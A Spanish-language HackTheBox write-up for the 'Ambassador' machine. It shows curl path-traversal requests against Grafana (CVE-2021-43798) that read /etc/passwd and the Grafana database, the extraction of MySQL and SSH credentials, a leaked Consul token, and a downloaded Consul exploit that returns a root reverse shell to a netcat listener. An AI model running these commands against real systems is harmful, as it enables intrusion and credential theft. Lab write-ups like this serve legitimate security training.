Inicio Ambassador WriteUp
Entrada
Cancelar

Ambassador WriteUp

Les explicare cómo comprometer la máquina Ambassador de HackTheBox, Nos enfrentaremos a una version de Grafana la cual cuenta con un a vulnerabilidad de tipo Directory Transversal y Arbitrary File Read. Para ganar acceso al sistema nos aprovecharemos de aquella vulneravilidad de grafana que nos aprovecharemos de en exploit de Consul con un token que nos lanzará la s hell como root.

Escaneo NMAP

Empezamos enumerando con NMAP, con ello encontaremos los puertos abiertos y los servicios que se exponen.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.183 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-21 00:03 -04
Initiating SYN Stealth Scan at 00:03
Scanning 10.10.11.183 [65535 ports]
Discovered open port 80/tcp on 10.10.11.183
Discovered open port 3306/tcp on 10.10.11.183
Discovered open port 22/tcp on 10.10.11.183
Discovered open port 3000/tcp on 10.10.11.183
Completed SYN Stealth Scan at 00:03, 17.01s elapsed (65535 total ports)
Nmap scan report for 10.10.11.183
Host is up, received user-set (0.32s latency).
Scanned at 2023-01-21 00:03:39 -04 for 17s
Not shown: 61030 closed tcp ports (reset), 4501 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63
3306/tcp open  mysql   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.22 seconds
           Raw packets sent: 82990 (3.652MB) | Rcvd: 66979 (2.679MB)

Puerto 22 su servicio por defecto es SSH, 80 este puerto en su configuración por defecto corre el servicio HTTP, MySQL corre en el puerto 3306 y el puerto 3000 fue asignado por el administrador

Enumeración

Podemos realizar FUZZING para ver si encontramos ninggun directorio, pero esto resultaría inutíl ya que no encontraremos nada, en su lugar podemos usar el puerto que encon tramos y tratar de acceder a él. Viendo la web nos encontramos con esto:

Grafana Login Grafana Login

Viendo en la parte inferior nos da información acerca de la versión, usando searchsploit nos damos cuenta de q ue cuenta con estas vulnerabilidades Directory Traversal and Arbitrary File Read

Searchsploit Searchsploit

Podemos copiar el script de Python en nuestra carpeta de trabajo e intentamos leer el /etc/passwd

1
2
3
4
5
6
7
8
❯ searchsploit -m multiple/webapps/50581.py
  Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
      URL: https://www.exploit-db.com/exploits/50581
     Path: /snap/searchsploit/62/opt/exploitdb/exploits/multiple/webapps/50581.py
    Codes: CVE-2021-43798
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/h4ckerlite/Desktop/h4ckerlite/HTB/Máquinas/Ambassador/nmap/50581.py

Lo ejecutamos…

Searchsploit Searchsploit

Buscando en internet acerca de este CVE nos encontramos con este blog, nos enseñan a explotarlo de forma manual.

1
2
3
4
❯ curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash

Si seguimos leyendo podemos ver que nos podemos descargar la base de datos

1
 curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

Ahora procedemos a leer la base de datos, para ello debes tener instalado sqlite3 para verlo desde consola, ya que lo considero mas fácil.

1
  sudo apt install sqlite3

Sigueindo las instrucciones del blog leemos la base de datos.

1
 sqlite3 grafana.bd

Una vez detro de la base de datos, procedemos a leer las tablas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 ❯ sqlite3 grafana.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
alert                       login_attempt             
alert_configuration         migration_log             
alert_instance              ngalert_configuration     
alert_notification          org                       
alert_notification_state    org_user                  
alert_rule                  playlist                  
alert_rule_tag              playlist_item             
alert_rule_version          plugin_setting            
annotation                  preferences               
annotation_tag              quota                     
api_key                     server_lock               
cache_data                  session                   
dashboard                   short_url                 
dashboard_acl               star                      
dashboard_provisioning      tag                       
dashboard_snapshot          team                      
dashboard_tag               team_member               
dashboard_version           temp_user                 
data_source                 test_data                 
kv_store                    user                      
library_element             user_auth                 
library_element_connection  user_auth_token           
sqlite> 

Usando una query de SQL, leeremos las columnas de la tabla data_source.

1
2
select * from data_source;

Veremos algo cómo esto.

1
2
3
sqlite> SELECT * FROM data_source;
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2023-01-20 21:54:47|0|{}|1|uKewFgM4z
sqlite> 

Ganamos acceso

Donde el parámetro -h corresponde al host -u al user -p a la contraseña Ahora nos podemos conectar a MySQL debido a que conocemos el user y su contraseña.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
❯ mysql -h10.10.11.183 -ugrafana -pdontStandSoCloseToMe63221!
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 47
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0,172 sec)

MySQL [(none)]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0,396 sec)

MySQL [whackywidget]> SELECT * FROM users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0,375 sec)

MySQL [whackywidget]> 

Vemos una contraseña, esta se encuentra cifrada en Base64, podemos decifrarla de la siguiente manera.

1
2
echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d;echo 
anEnglishManInNewYork027468

Con esas credenciales podemos conectarnos por SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ ssh developer@10.10.11.183
The authenticity of host '10.10.11.183 (10.10.11.183)' can't be established.
ECDSA key fingerprint is SHA256:+BgUV7q/7f6W3/1eQWhIKW2f8xTcBh3IM0VwbIAp2A8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.183' (ECDSA) to the list of known hosts.
developer@10.10.11.183's password: anEnglishManInNewYork027468 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 21 Jan 2023 05:10:23 AM UTC

  System load:  0.0               Processes:             229
  Usage of /:   84.4% of 5.07GB   Users logged in:       0
  Memory usage: 49%               IPv4 address for eth0: 10.10.11.183
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Jan 21 00:27:29 2023 from 10.10.14.105
developer@ambassador:~$ export TERM=xterm
developer@ambassador:~$ 

Podemos leer la primara flag.

1
2
3
developer@ambassador:~$ cat user.txt 
565**************************1b5
developer@ambassador:~$ 

Enumeración del sistema

En la carpeta home buscamos por carpetas/archivos ocultos y encontramos un archivo de configuración de github.

1
2
3
4
developer@ambassador:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache
.gitconfig  .gnupg  .lesshst  .local  .profile  .ssh  snap  user.txt
developer@ambassador:~$ 

Si lo leemos nos dice la ruta donde se encuentra.

1
2
3
4
5
6
7
developer@ambassador:~$ cat .gitconfig 
[user]
    name = Developer
    email = developer@ambassador.local
[safe]
    directory = /opt/my-app
developer@ambassador:~$ 

Si nos situamos en la carpeta /opt podemos ver el proyecto github.

1
2
3
developer@ambassador:/opt/my-app$ ls -a
.  ..  .git  .gitignore  env  whackywidget
developer@ambassador:/opt/my-app$ 

Si hacemos un git -log podemos ver los últimos commits que se aplicaron

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:44:11 2022 +0000

    .gitignore
developer@ambassador:/opt/my-app$ 

Ahora haciendo un git show se nos mostrará información acerca de ese commit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
developer@ambassador:/opt/my-app$ git show
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
 
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
developer@ambassador:/opt/my-app$ 

Ahora con una busqueda en Google encontramos una vía potencial de escalar nuestros privilegios.

Escalada de privilegios

Usando el exploit de GatoGamer podemos elevar nuestros privilegios, nos descargamos el repositorio de GitHub ** , nos montamos un servidor **HTTP con Python

1
python -m http.server 80

En la máquina víctima lo descargamos, y lo ejecutamos, debemos estar en la carpeta personal para poder descargarlo.

1
2
3
4
5
6
7
8
9
10
11
12
13
developer@ambassador:~$ wget http://10.10.14.61/exploit.py
--2023-01-21 05:40:22--  http://10.10.14.61/exploit.py
Connecting to 10.10.14.61:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1409 (1.4K) [text/x-python]
Saving to: ‘exploit.py.1’

exploit.py.1                                  100%[=================================================================================================>]   1.38K  --.-KB/s    in 
0s      

2023-01-21 05:40:22 (95.1 MB/s) - ‘exploit.py.1’ saved [1409/1409]

developer@ambassador:~$ 

En la máquina víctima ejecutamos lo siguiente. Nota: Recuerda cambiar tu IP de HTB En nuestra máquina host nos ponemos en escucha

1
developer@ambassador:~$ python3 exploit.py --lhost 10.10.14.61 --lport 123 --token bb03b43b-1d81-d62b-24b5-39540ee469b5 
1
2
❯ nc -nlvp 123
listening on [any] 123 ...

Al ejecutarlo nos debe llegar la shell como root

1
2
3
4
5
6
❯ nc -nlvp 123
listening on [any] 123 ...
connect to [10.10.14.61] from (UNKNOWN) [10.10.11.183] 58732
bash: cannot set terminal process group (3731): Inappropriate ioctl for device
bash: no job control in this shell
root@ambassador:/# 

Ahora podemos vizualizar la flag como root

1
2
3
4
5
root@ambassador:~# ls
cleanup.sh  root.txt  snap
root@ambassador:~# cat root.txt 
5a4**************************4b1
root@ambassador:~# 
Esta entrada está licenciada bajo CC BY 4.0 por el autor.